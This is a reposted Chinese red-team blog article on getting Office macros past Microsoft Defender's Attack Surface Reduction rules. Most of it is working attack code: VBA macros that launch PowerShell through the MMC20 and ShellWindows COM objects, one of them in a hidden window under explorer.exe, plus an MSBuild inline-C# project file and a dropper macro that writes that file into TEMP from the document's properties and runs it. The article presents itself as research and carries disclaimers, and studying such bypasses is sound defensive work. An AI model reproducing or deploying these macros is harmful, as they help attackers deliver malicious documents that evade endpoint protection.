红蓝对抗-Office ASR Bypass

admin 2023年6月10日03:15:10评论17 views字数 4300阅读14分20秒阅读模式

0X00 什么是ASR

Attack Surface Reduction(ASR)是微软推出一组Windows defender强化配置,旨在减缓攻击者常用的攻击技术。ASR规则LUA中实现,并由Windows Defender执行。它们具体如下:

红蓝对抗-Office ASR Bypass

更加详细的细节可以在这个地方查看https://learn.microsoft.com/zh-cn/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide(当然也可以点段首的加粗字体跳转)

这些规则中的许多规则可以组合使用,当然我们可以单独绕过某一规则,但它仍然有可能被另一规则所阻止。本文演示的是在Office下的Bypass。

0x01 Block Office Processes

这个规则即阻止所有Office应用程序创建子进程,这包括WordExcelPowerPointOneNoteAccess

在我们创建生成宏文档并让他运行PowerShell payload的时候,一般是下面的代码

Sub Asr()
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run "powershell"
    Set wsh = Nothing
End Sub

但是这样容易被Windows本身的defender发现并把他无情的查杀。

红蓝对抗-Office ASR Bypass
红蓝对抗-Office ASR Bypass

0x02 COM Bypass

解决这个问题的一种方法是使用COM,我们可以直接从VBA实例化一个COM对象来达到绕过ASR的查杀的目的。因此我们可以考虑利用那些我们知道会导致代码执行的对象。然而并不是每个COM对象都可以进行代码执行,只有设置LocalServer32,以便进程具有不是Office应用程序的父进程才可以。例如,MMC20.Application对象会使用mmc.exe作为父进程,而ShellWindowsShellBrowserWindowShellExecute方法都将使用explorer.exe 作为父进程。下面是一个使用MMC20的方法:

Sub Asr()
    Dim mmc As Object
    Set mmc = CreateObject("MMC20.Application")
    mmc.Document.ActiveView.ExecuteShellCommand "powershell""""""7"
    Set mmc = Nothing
End Sub

mmc.exe会马上关闭,从而生成没有父进程的PowerShell

红蓝对抗-Office ASR Bypass

下面是使用ShellWindows的方法:

Sub Asr()
    Dim com As Object
    Set com = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
    com.Item.Document.Application.ShellExecute "powershell""""", Null, 0
    Set com = Nothing
End Sub

与之前的相比,这个会生成一个隐藏的PowerShell进程,并且它将会作为explorer.exe的子进程运行。就之前的方法来说,这种方法提高了隐蔽性。

红蓝对抗-Office ASR Bypass

0x03 LOLBAS

ASR规则实际上是基于某种黑名单的来实现的,我们可以尝试打开一个记事本来验证我们的猜想。

红蓝对抗-Office ASR Bypass

Windows defender没有拦截,所以我们上述的想法成立。

因此我们可以大胆猜测这里可能会有使用基于命令行的执行的办法,笔者在这里使用了LOLBAS项目,经过简单的测试,发现**MSBuild**没有被拦截(其他的可以自行测试)。

MSBuild可以从.xml或.csproj文件执行内联C#代码。可以在这里去查看MSBuild的结构https://learn.microsoft.com/zh-cn/visualstudio/msbuild/msbuild-project-file-schema-reference?view=vs-2022

我们可以通过以下方法去实现:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<ASRSucks /> 
</Target> 
<UsingTask
  TaskName="ASRSucks"
  TaskFactory="CodeTaskFactory"
  AssemblyFile="C:WindowsMicrosoft.NetFramework64v4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Code Type="Class" Language="cs">
    <![CDATA[
      using System;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

public class ASRSucks : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("tested by 二两");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

我们可以通过这种方式去运行

C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe test.xml
红蓝对抗-Office ASR Bypass

那么接下来就是怎么去利用word宏去执行我们的恶意代码,我们可以将xml提前放在电脑的某个位置(例如temp目录,然后通过宏执行)

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<ASRSucks /> 
</Target> 
<UsingTask
  TaskName="ASRSucks"
  TaskFactory="CodeTaskFactory"
  AssemblyFile="C:WindowsMicrosoft.NetFramework64v4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Code Type="Class" Language="cs">
    <![CDATA[
      using System.Diagnostics;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

public class ASRSucks : Task, ITask
{
public override bool Execute()
{
Process.Start("powershell");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

Sub Asr()
Dim comment As String
Dim wsh As Object
Dim temp As String
Dim command As String

temp = LCase(Environ("TEMP"))
comment = ActiveDocument.BuiltInDocumentProperties("Comments").Value
Set wsh = CreateObject("WScript.Shell")
command = "C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe " & temp & "test.xml"
wsh.Run command
End Sub

红蓝对抗-Office ASR Bypass

当然,这些代码会一直保持在temp目录下面,我们可以增加一点东西把它删除

Sub Asr()
    Dim comment As String
    Dim fSo As Object
    Dim dropper As Object
    Dim wsh As Object
    Dim temp As String
    Dim command As String
    
    temp = LCase(Environ("TEMP"))
    
    Set fSo = CreateObject("Scripting.FileSystemObject")
    Set dropper = fSo.CreateTextFile(temp & "test.xml", True)
    
    comment = ActiveDocument.BuiltInDocumentProperties("Comments").Value
    
    dropper.WriteLine comment
    dropper.Close
    
    Set wsh = CreateObject("WScript.Shell")
    
    command = "C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe " & temp & "test.xml"
    
    wsh.Run command
    
    Set fSo = Nothing
    Set dropper = Nothing
    Set wsh = Nothing
End Sub
红蓝对抗-Office ASR Bypass

0x04 小结

本文介绍了在ASR规则下,Office在执行宏中的绕过。当然以上有些方法在不同版本的Windows中处理生成也会有所不同,具体的不同可以去自行测试。注:本文仅用于安全研究和学习之用

 

原文始发于微信公众号(应龙信安攻防实验室):红蓝对抗-Office ASR Bypass

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月10日03:15:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红蓝对抗-Office ASR Bypasshttps://cn-sec.com/archives/1794859.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息